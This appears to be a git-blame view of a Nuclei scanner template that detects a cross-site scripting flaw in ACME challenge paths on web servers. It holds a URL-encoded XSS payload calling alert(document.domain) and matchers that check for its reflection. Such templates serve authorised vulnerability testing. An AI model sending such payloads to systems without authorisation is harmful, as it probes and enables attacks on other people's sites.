2021-01-10 13:11:25 +00:00
|
|
|
id: acme-xss
|
|
|
|
|
|
|
|
info:
|
2022-09-23 17:53:08 +00:00
|
|
|
name: Let's Encrypt - Cross-Site Scripting
|
2021-04-06 06:46:11 +00:00
|
|
|
author: pdteam
|
2022-09-23 17:53:08 +00:00
|
|
|
severity: high
|
|
|
|
description: Let's Encrypt contains a cross-site scripting vulnerability when using the the ACME protocol to issue SSL certificates.
|
|
|
|
reference:
|
|
|
|
- https://www.mike-gualtieri.com/posts/chaining-remote-web-vulnerabilities-to-abuse-lets-encrypt
|
|
|
|
- https://community.letsencrypt.org/t/xss-via-acme-implementations/72295
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 7.2
|
|
|
|
cwe-id: CWE-79
|
2021-02-12 05:53:01 +00:00
|
|
|
tags: xss,acme
|
2021-01-10 13:11:25 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/.well-known/acme-challenge/%3C%3fxml%20version=%221.0%22%3f%3E%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%3Ealert%28document.domain%26%23x29%3B%3C/x:script%3E'
|
2021-01-10 22:01:24 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
2021-01-10 13:11:25 +00:00
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
2022-09-23 17:53:08 +00:00
|
|
|
- "<?xml version=\"1.0\"?><x:script xmlns:x=\"http://www.w3.org/1999/xhtml\">alert(document.domain)</x:script>"
|
2021-01-10 13:11:25 +00:00
|
|
|
- type: word
|
2021-01-10 22:01:24 +00:00
|
|
|
words:
|
2021-01-10 13:11:25 +00:00
|
|
|
- "/xml"
|
|
|
|
- "/html"
|
2022-09-23 17:53:08 +00:00
|
|
|
|
|
|
|
# Enhanced by md on 2022/09/22
|